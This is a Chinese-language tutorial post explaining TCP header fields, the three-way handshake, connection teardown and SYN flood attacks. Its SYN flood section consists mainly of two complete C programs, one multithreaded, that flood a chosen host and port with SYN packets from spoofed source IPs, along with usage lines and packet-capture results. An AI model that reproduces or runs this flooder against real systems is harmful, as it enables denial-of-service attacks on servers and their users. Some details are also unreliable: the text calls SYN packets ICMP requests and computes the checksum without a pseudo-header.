天天看點

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

一、建立TCP連接配接需要三次握手才能建立,在認識TCP三向交握前,我們先來看看TCP封包首部結構:

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

源端口和目的端口字段:各占2位元組。端口是傳輸層與應用層的服務接口。傳輸層的複用和分用功能都要通過端口才能實作

序号字段:占4位元組。TCP連接配接中傳送的資料流中的每一個位元組都編上一個序号。序号字段的值則指的是本封包段所發送的資料的第一個位元組的序号。 

确認号字段(ack):占4位元組,是期望收到對方的下一個封包段的資料的第一個位元組的序号。 

•若确認号=N,則表明:到序号N– 1為止的所有資料都已正确收到。 •設B正确收到了A發送過來的一個封包段,其序号字段值是501,而資料長度是200位元組(序号501 ~ 700),這表明B正确收到了A  發送的到序号700為止的資料。是以,B期望收到A的下一個資料序号是701,于是B在發送給A的确認封包段中把确認号置為701。 請注意,現在的确認号不是501,也不是700,而是701。  

資料偏移(即首部長度):占4位,它指出TCP封包段的資料起始處距離TCP封包段的起始處有多遠。“資料偏移”的機關是32位字(以4位元組為計算機關)。  

保留字段:占6位,保留為今後使用,但目前應置為0。 

緊急 URG:當URG= 1 時,表明緊急指針字段有效。它告訴系統此封包段中有緊急資料,應盡快傳送(相當于高優先級的資料)。 

确認 ACK: 隻有當ACK= 1 時确認号字段才有效。當 ACK= 0時,确認号無效。 

推送 PSH(PuSH): 接收TCP收到PSH= 1 的封包段,就盡快地傳遞接收應用程序,而不再等到整個緩存都填滿了後再向上傳遞。  

複位 RST(ReSeT): 當RST= 1 時,表明 TCP連接配接中出現嚴重差錯(如由于主機崩潰或其他原因),必須釋放連接配接,然後再重建立立運輸連接配接。 

同步 SYN:同步SYN= 1表示這是一個連接配接請求或連接配接接受封包。 

終止 FIN(FINis): 用來釋放一個連接配接。FIN= 1 表明此封包段的發送端的資料已發送完畢,并要求釋放運輸連接配接。 

視窗字段—— 占 2 位元組,用來讓對方設定發送視窗的依據,機關為位元組

緊急指針字段 : 占16位,指出在本封包段中緊急資料共有多少個位元組(緊急資料放在本封包段資料的最前面)。 

選項字段 :長度可變。TCP最初隻規定了一種選項,即最大封包段長度MSS。MSS告訴對方TCP:“我的緩存所能接收的封包段的資料字段的最大長度是MSS個位元組。” 

MSS(MaximumSegment Size)是TCP 封包段中的資料字段的最大長度。資料字段加上TCP 首部才等于整個的TCP 封包段。

填充字段 ——這是為了使整個首部長度是4位元組的整數倍。 

二、說了TCP封包首部的結構,下面來談談 三次握手的過程:

(1)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

A的TCP向B發出連接配接請求封包段,其首部中的同步位SYN= 1,并選擇序号seq =x,表明傳送資料時的第一個資料位元組的序号是x。

(2)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

B的TCP收到連接配接請求封包段後,如同意,則發回确認。 B在确認封包段中應使SYN= 1,使ACK= 1,其确認号ack =x+1,自己選擇的序号seq = y.

(3)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

•A 收到此封包段後向B給出确認,其ACK= 1,确認号ack =y+1。 •A 的TCP通知上層應用程序,連接配接已經建立。   

接下來:

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

•B 的TCP收到主機A的确認後,也通知其上層應用程序:TCP連接配接已經建立。 以後就可以傳送資料了。

至此TCP三向交握就成功的完成啦。

三、TCP連接配接的釋放

(1)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

•  資料傳輸結束後,通信的雙方都可釋放連接配接。 現在A的應用程序先向其TCP發出連接配接釋放封包段,并停止再發送資料,主動關閉TCP連接配接。 •  A把連接配接釋放封包段首部的FIN = 1,其序号seq =u,等待B的确認。

(2)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

• B發出确認,确認号ack=u+ 1,而這個封包段自己的序号seq =v。 • TCP伺服器程序通知高層應用程序。 • 從 A到B這個方向的連接配接就釋放了,TCP連接配接處于半關閉狀态。B若發送資料,A仍要接收

(3)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

•   若 B 已經沒有要向 A 發送的資料, 其應用程序就通知 TCP釋放連接配接。 

(4)

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

 A向B發送确認後,TCP連接配接進入關閉狀态.至此TCP釋放完成。

四、SYN洪水攻擊

(1)SYN洪水攻擊也稱為拒絕服務攻擊,它利用了TCP的三次握手,利用大量的TCP連接配接請求造成目标機的資源耗盡,而不能提供正常的服務或者服務品質下降。

(2)SYN洪水攻擊原理:

一般情況下的TCP連接配接函數connect(),經曆了三次握手,如果從IP層協定來看,用戶端先發送SYN請求,伺服器對用戶端的SYN進行響應,而客服端對伺服器的響應再次進行确認後才建立了一個TCP的連接配接,在伺服器發送響應後,要等待一段時間才能獲得用戶端的确認,即第二次和第三次握手之間有一個逾時時間,SYN攻擊就是利用了這個時機。

SYN攻擊利用第二次握手的手段如下:

(1)主機A發送ICMP的SYN請求給主機B,主機A發送的封包的源IP位址是一個僞造的IP,主機B的第二次握手之後要等待一段時間,接收主機A的确認包,在逾時時間内此資源一直在占用,如果主機B的處理TCP三向交握的資源不能滿足處理主機A的SYN請求數量,則主機B的可用資源就會慢慢減少,知道耗盡。

(2)主機A發送的封包是原始封包,發送封包的速度可以達到很高,是以有足夠的資源能對目标機造成影響。

Linux系統中的TCP封包頭檔案:

#ifndef _NETINET_TCP_H
#define _NETINET_TCP_H	1

#include <features.h>

/*
 * User-settable options (used with setsockopt).
 */
#define	TCP_NODELAY		 1  /* Don't delay send to coalesce packets  */
#define	TCP_MAXSEG		 2  /* Set maximum segment size  */
#define TCP_CORK		 3  /* Control sending of partial frames  */
#define TCP_KEEPIDLE		 4  /* Start keeplives after this period */
#define TCP_KEEPINTVL		 5  /* Interval between keepalives */
#define TCP_KEEPCNT		 6  /* Number of keepalives before death */
#define TCP_SYNCNT		 7  /* Number of SYN retransmits */
#define TCP_LINGER2		 8  /* Life time of orphaned FIN-WAIT-2 state */
#define TCP_DEFER_ACCEPT	 9  /* Wake up listener only when data arrive */
#define TCP_WINDOW_CLAMP	 10 /* Bound advertised window */
#define TCP_INFO		 11 /* Information about this connection. */
#define	TCP_QUICKACK		 12 /* Bock/reenable quick ACKs.  */
#define TCP_CONGESTION		 13 /* Congestion control algorithm.  */
#define TCP_MD5SIG		 14 /* TCP MD5 Signature (RFC2385) */
#define TCP_COOKIE_TRANSACTIONS	 15 /* TCP Cookie Transactions */
#define TCP_THIN_LINEAR_TIMEOUTS 16 /* Use linear timeouts for thin streams*/
#define TCP_THIN_DUPACK		 17 /* Fast retrans. after 1 dupack */
#define TCP_USER_TIMEOUT	 18 /* How long for loss retry before timeout */
#define TCP_REPAIR		 19 /* TCP sock is under repair right now */
#define TCP_REPAIR_QUEUE	 20 /* Set TCP queue to repair */
#define TCP_QUEUE_SEQ		 21 /* Set sequence number of repaired queue. */
#define TCP_REPAIR_OPTIONS	 22 /* Repair TCP connection options */
#define TCP_FASTOPEN		 23 /* Enable FastOpen on listeners */
#define TCP_TIMESTAMP		 24 /* TCP time stamp */

#ifdef __USE_MISC
# include <sys/types.h>
# include <sys/socket.h>

typedef	u_int32_t tcp_seq;
/*
 * TCP header.
 * Per RFC 793, September, 1981.
 */
struct tcphdr
  {
    __extension__ union
    {
      struct
      {
	u_int16_t th_sport;		/* source port */
	u_int16_t th_dport;		/* destination port */
	tcp_seq th_seq;		/* sequence number */
	tcp_seq th_ack;		/* acknowledgement number */
# if __BYTE_ORDER == __LITTLE_ENDIAN
	u_int8_t th_x2:4;		/* (unused) */
	u_int8_t th_off:4;		/* data offset */
# endif
# if __BYTE_ORDER == __BIG_ENDIAN
	u_int8_t th_off:4;		/* data offset */
	u_int8_t th_x2:4;		/* (unused) */
# endif
	u_int8_t th_flags;
# define TH_FIN	0x01
# define TH_SYN	0x02
# define TH_RST	0x04
# define TH_PUSH	0x08
# define TH_ACK	0x10
# define TH_URG	0x20
	u_int16_t th_win;		/* window */
	u_int16_t th_sum;		/* checksum */
	u_int16_t th_urp;		/* urgent pointer */
      };
      struct
      {
	u_int16_t source;
	u_int16_t dest;
	u_int32_t seq;
	u_int32_t ack_seq;
# if __BYTE_ORDER == __LITTLE_ENDIAN
	u_int16_t res1:4;
	u_int16_t doff:4;
	u_int16_t fin:1;
	u_int16_t syn:1;
	u_int16_t rst:1;
	u_int16_t psh:1;
	u_int16_t ack:1;
	u_int16_t urg:1;
	u_int16_t res2:2;
# elif __BYTE_ORDER == __BIG_ENDIAN
	u_int16_t doff:4;
	u_int16_t res1:4;
	u_int16_t res2:2;
	u_int16_t urg:1;
	u_int16_t ack:1;
	u_int16_t psh:1;
	u_int16_t rst:1;
	u_int16_t syn:1;
	u_int16_t fin:1;
# else
#  error "Adjust your <bits/endian.h> defines"
# endif
	u_int16_t window;
	u_int16_t check;
	u_int16_t urg_ptr;
      };
    };
};

enum
{
  TCP_ESTABLISHED = 1,
  TCP_SYN_SENT,
  TCP_SYN_RECV,
  TCP_FIN_WAIT1,
  TCP_FIN_WAIT2,
  TCP_TIME_WAIT,
  TCP_CLOSE,
  TCP_CLOSE_WAIT,
  TCP_LAST_ACK,
  TCP_LISTEN,
  TCP_CLOSING   /* now a valid state */
};

# define TCPOPT_EOL		0
# define TCPOPT_NOP		1
# define TCPOPT_MAXSEG		2
# define TCPOLEN_MAXSEG		4
# define TCPOPT_WINDOW		3
# define TCPOLEN_WINDOW		3
# define TCPOPT_SACK_PERMITTED	4		/* Experimental */
# define TCPOLEN_SACK_PERMITTED	2
# define TCPOPT_SACK		5		/* Experimental */
# define TCPOPT_TIMESTAMP	8
# define TCPOLEN_TIMESTAMP	10
# define TCPOLEN_TSTAMP_APPA	(TCPOLEN_TIMESTAMP+2) /* appendix A */

# define TCPOPT_TSTAMP_HDR	\
    (TCPOPT_NOP<<24|TCPOPT_NOP<<16|TCPOPT_TIMESTAMP<<8|TCPOLEN_TIMESTAMP)

/*
 * Default maximum segment size for TCP.
 * With an IP MSS of 576, this is 536,
 * but 512 is probably more convenient.
 * This should be defined as MIN(512, IP_MSS - sizeof (struct tcpiphdr)).
 */
# define TCP_MSS	512

# define TCP_MAXWIN	65535	/* largest value for (unscaled) window */

# define TCP_MAX_WINSHIFT	14	/* maximum window shift */

# define SOL_TCP		6	/* TCP level */


# define TCPI_OPT_TIMESTAMPS	1
# define TCPI_OPT_SACK		2
# define TCPI_OPT_WSCALE	4
# define TCPI_OPT_ECN		8  /* ECN was negociated at TCP session init */
# define TCPI_OPT_ECN_SEEN	16 /* we received at least one packet with ECT */
# define TCPI_OPT_SYN_DATA	32 /* SYN-ACK acked data in SYN sent or rcvd */

/* Values for tcpi_state.  */
enum tcp_ca_state
{
  TCP_CA_Open = 0,
  TCP_CA_Disorder = 1,
  TCP_CA_CWR = 2,
  TCP_CA_Recovery = 3,
  TCP_CA_Loss = 4
};

struct tcp_info
{
  u_int8_t	tcpi_state;
  u_int8_t	tcpi_ca_state;
  u_int8_t	tcpi_retransmits;
  u_int8_t	tcpi_probes;
  u_int8_t	tcpi_backoff;
  u_int8_t	tcpi_options;
  u_int8_t	tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4;

  u_int32_t	tcpi_rto;
  u_int32_t	tcpi_ato;
  u_int32_t	tcpi_snd_mss;
  u_int32_t	tcpi_rcv_mss;

  u_int32_t	tcpi_unacked;
  u_int32_t	tcpi_sacked;
  u_int32_t	tcpi_lost;
  u_int32_t	tcpi_retrans;
  u_int32_t	tcpi_fackets;

  /* Times. */
  u_int32_t	tcpi_last_data_sent;
  u_int32_t	tcpi_last_ack_sent;	/* Not remembered, sorry.  */
  u_int32_t	tcpi_last_data_recv;
  u_int32_t	tcpi_last_ack_recv;

  /* Metrics. */
  u_int32_t	tcpi_pmtu;
  u_int32_t	tcpi_rcv_ssthresh;
  u_int32_t	tcpi_rtt;
  u_int32_t	tcpi_rttvar;
  u_int32_t	tcpi_snd_ssthresh;
  u_int32_t	tcpi_snd_cwnd;
  u_int32_t	tcpi_advmss;
  u_int32_t	tcpi_reordering;

  u_int32_t	tcpi_rcv_rtt;
  u_int32_t	tcpi_rcv_space;

  u_int32_t	tcpi_total_retrans;
};


/* For TCP_MD5SIG socket option.  */
#define TCP_MD5SIG_MAXKEYLEN	80

struct tcp_md5sig
{
  struct sockaddr_storage tcpm_addr;		/* Address associated.  */
  u_int16_t	__tcpm_pad1;			/* Zero.  */
  u_int16_t	tcpm_keylen;			/* Key length.  */
  u_int32_t	__tcpm_pad2;			/* Zero.  */
  u_int8_t	tcpm_key[TCP_MD5SIG_MAXKEYLEN];	/* Key (binary).  */
};

/* For socket repair options.  */
struct tcp_repair_opt
{
  u_int32_t	opt_code;
  u_int32_t	opt_val;
};

/* Queue to repair, for TCP_REPAIR_QUEUE.  */
enum
{
  TCP_NO_QUEUE,
  TCP_RECV_QUEUE,
  TCP_SEND_QUEUE,
  TCP_QUEUES_NR,
};

/* For cookie transactions socket options.  */
#define TCP_COOKIE_MIN		8		/*  64-bits */
#define TCP_COOKIE_MAX		16		/* 128-bits */
#define TCP_COOKIE_PAIR_SIZE	(2*TCP_COOKIE_MAX)

/* Flags for both getsockopt and setsockopt */
#define TCP_COOKIE_IN_ALWAYS	(1 << 0)	/* Discard SYN without cookie */
#define TCP_COOKIE_OUT_NEVER	(1 << 1)	/* Prohibit outgoing cookies,
						 * supercedes everything. */

/* Flags for getsockopt */
#define TCP_S_DATA_IN		(1 << 2)	/* Was data received? */
#define TCP_S_DATA_OUT		(1 << 3)	/* Was data sent? */

#define TCP_MSS_DEFAULT		 536U	/* IPv4 (RFC1122, RFC2581) */
#define TCP_MSS_DESIRED		1220U	/* IPv6 (tunneled), EDNS0 (RFC3226) */

struct tcp_cookie_transactions
{
  u_int16_t	tcpct_flags;
  u_int8_t	__tcpct_pad1;
  u_int8_t	tcpct_cookie_desired;
  u_int16_t	tcpct_s_data_desired;
  u_int16_t	tcpct_used;
  u_int8_t	tcpct_value[TCP_MSS_DEFAULT];
};

#endif /* Misc.  */

#endif /* netinet/tcp.h */
           

SYN洪水攻擊的例子:

//syn攻擊
//用法 ./syn hostname destport sourport
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netinet/tcp.h>
//攻擊函數
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport);
//校驗和
unsigned short checksum(unsigned char *addr,int len);

//退出信号處理函數
void signal(int sig)
{
    printf("終止syn攻擊\n");
    exit(1);
}
int main(int argc,char** argv)
{
    int skfd,port;
    struct sockaddr_in target;
    struct hostent *host;
    const int on=1;
    unsigned short srcport;
    bzero(&target,sizeof(struct sockaddr_in));
    target.sin_family=AF_INET;
    port=atoi(argv[2]);
    if (port<0)
    {
        perror("port error");
        exit(1);
    }
    target.sin_port=htons(port);
    
    if(inet_aton(argv[1],&target.sin_addr)==0)
    {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
            printf("TargetName Error:%s\n",hstrerror(h_errno));
            exit(1);
        }
        target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        
    }
    //将協定字段置為IPPROTO_TCP,來建立一個TCP的原始套接字
    if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
        perror("Create Error");
        exit(1);
    }
    
    //開啟IP_HDRINCL特性,我們自己手動構造IP封包
    if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
        perror("IP_HDRINCL failed");
        exit(1);
    }
    
    //隻有root使用者才可以使用原始套接字
    //setuid(getpid());
    
    //源端口
    srcport = atoi(argv[3]);
   // printf("%s\n",argv[3]);
    
    signal(SIGINT, signal);
    attack(skfd,&target,srcport);
}

//在該函數中構造整個IP封包,最後調用sendto函數将封包發送出去
void attack(int skfd,struct sockaddr_in *target,unsigned short srcport)
{
    char buf[128]={0};
    struct ip *ip;
    struct tcphdr *tcp;
    int ip_len;
    //在我們TCP的封包中Data沒有字段,是以整個IP封包的長度
    ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
    //開始填充IP首部
    ip=(struct ip*)buf;
    //IP的版本
    ip->ip_v = IPVERSION;
    //IP都不長度,位元組數
    ip->ip_hl = sizeof(struct ip)>>2;
    //服務類型
    ip->ip_tos = 0;
    //ip封包總長度
    ip->ip_len = htons(ip_len);
    //标志
    ip->ip_id=0;
    //段的偏移位址
    ip->ip_off=0;
    //最大的生存時間
    ip->ip_ttl=MAXTTL;
    //協定類型
    ip->ip_p=IPPROTO_TCP;
    
    //校驗和,先填0
    ip->ip_sum=0;
    //發送的目标位址
    ip->ip_dst=target->sin_addr;
    
    //開始填充TCP首部
    tcp = (struct tcphdr*)(buf+sizeof(struct ip));
    tcp->th_sport  = htons(srcport);
    tcp->th_dport = target->sin_port;
    tcp->th_seq = random();
    tcp->th_off = 5;
    tcp->th_flags=TH_SYN;
    tcp->th_sum = 0;
    tcp->th_win=65535;
    while(1)
    {
        //源位址僞造
        ip->ip_src.s_addr =random();
        tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校驗和
        sendto(skfd,buf,ip_len,0,(struct sockaddr*)target,sizeof(struct sockaddr_in));
    }
}

//關于CRC校驗和的計算
unsigned short checksum(unsigned char *buf,int len)
{
    unsigned int sum=0;
    unsigned short *cbuf;
    
    cbuf=(unsigned short *)buf;
    
    while(len>1)
    {
        sum+=*cbuf++;
        len-=2; //剩餘尚未累加的16比特的個數
    }
    
    if(len) //若len的長度不是偶數
        sum+=*(unsigned char *)cbuf; //用最後一個位元組補齊
    
    //防溢出處理
    sum=(sum>>16)+(sum & 0xffff);
    sum+=(sum>>16);
    return ~sum;
}
           

抓包結果:

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

當然也可以用我們前面的TCP伺服器進行測試:

伺服器端:

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

SYN測試:

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

端口檢測:

Linux網絡程式設計---TCP三向交握,SYN洪水攻擊,

伺服器端收到我們的SYN封包後,會為其配置設定一條連接配接資源,并将該連接配接的狀态置為SYN_RECV,然後給用戶端回送一個确認,并要求用戶端再次确認,但是卻一直收不到回複,直到逾時才回收資源,這樣持續下去将消耗目标機的資源。

多線程代碼:

//syn攻擊
//用法 ./syn hostname destport
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
#include <netinet/tcp.h>

//最多線程數
#define MAXCHILD 128
struct sockaddr_in target;
int skfd,alive=1;

//攻擊函數
void attack();
//校驗和
unsigned short checksum(unsigned char *addr,int len);
void *DoS_fun (void * args)
{
    while(alive)
    {
        attack();
        break;
    }
    return NULL;
}
//信号處理函數,設定退出變量alive
void DoS_sig(int signo)
{
    alive = 0;
}
int main(int argc,char** argv)
{
    int port;
    struct hostent *host;
    const int on=1;
    pthread_t pthread[MAXCHILD]; //線程标志數組
    bzero(&target,sizeof(struct sockaddr_in));
    target.sin_family=AF_INET;
    port=atoi(argv[2]);
    if (port<0)
    {
        perror("port error");
        exit(1);
    }
    target.sin_port=htons(port);
    
    if(inet_aton(argv[1],&target.sin_addr)==0)
    {
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
            printf("TargetName Error:%s\n",hstrerror(h_errno));
            exit(1);
        }
        target.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
        
    }
    //将協定字段置為IPPROTO_TCP,來建立一個TCP的原始套接字
    if(0>(skfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))){
        perror("Create Error");
        exit(1);
    }
    //開啟IP_HDRINCL特性,我們自己手動構造IP封包
    if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)))
    {
        perror("IP_HDRINCL failed");
        exit(1);
    }
    
    //隻有root使用者才可以使用原始套接字
    //setuid(getpid());
    
    
    signal(SIGINT, DoS_sig);
    for(int i=0; i<MAXCHILD; i++)
    {
        pthread_create(&pthread[i], NULL, DoS_fun, NULL);
    }
    //等待線程結束
    for(int i=0; i<MAXCHILD; i++)
        pthread_join(pthread[i], NULL);
    close(skfd);
}

//在該函數中構造整個IP封包,最後調用sendto函數将封包發送出去
void attack()
{
    char buf[128]={0};
    struct ip *ip;
    struct tcphdr *tcp;
    int ip_len;
    //在我們TCP的封包中Data沒有字段,是以整個IP封包的長度
    ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
    //開始填充IP首部
    ip=(struct ip*)buf;
    //IP的版本
    ip->ip_v = IPVERSION;
    //IP都不長度,位元組數
    ip->ip_hl = sizeof(struct ip)>>2;
    //服務類型
    ip->ip_tos = 0;
    //ip封包總長度
    ip->ip_len = htons(ip_len);
    //标志
    ip->ip_id=0;
    //段的偏移位址
    ip->ip_off=0;
    //最大的生存時間
    ip->ip_ttl=MAXTTL;
    //協定類型
    ip->ip_p=IPPROTO_TCP;
    
    //校驗和,先填0
    ip->ip_sum=0;
    //發送的目标位址
    ip->ip_dst=target.sin_addr;
    
    //開始填充TCP首部
    tcp = (struct tcphdr*)(buf+sizeof(struct ip));
    tcp->th_sport  = random();
    tcp->th_dport = target.sin_port;
    tcp->th_seq = random();
    tcp->th_off = 5;
    tcp->th_flags=TH_SYN;
    tcp->th_sum = 0;
    tcp->th_win=65535;
    
    //源位址僞造
    ip->ip_src.s_addr =random();
    tcp->th_sum=checksum((unsigned char*)tcp,sizeof(struct tcphdr)); //校驗和
    sendto(skfd,buf,ip_len,0,(struct sockaddr*)&target,sizeof(struct sockaddr_in));
    
}

//關于CRC校驗和的計算
unsigned short checksum(unsigned char *buf,int len)
{
    unsigned int sum=0;
    unsigned short *cbuf;
    cbuf=(unsigned short *)buf;
    
    while(len>1)
    {
        sum+=*cbuf++;
        len-=2; //剩餘尚未累加的16比特的個數
    }
    
    if(len) //若len的長度不是偶數
        sum+=*(unsigned char *)cbuf; //用最後一個位元組補齊
    
    //防溢出處理
    sum=(sum>>16)+(sum & 0xffff);
    sum+=(sum>>16);
    return ~sum;
}
           

繼續閱讀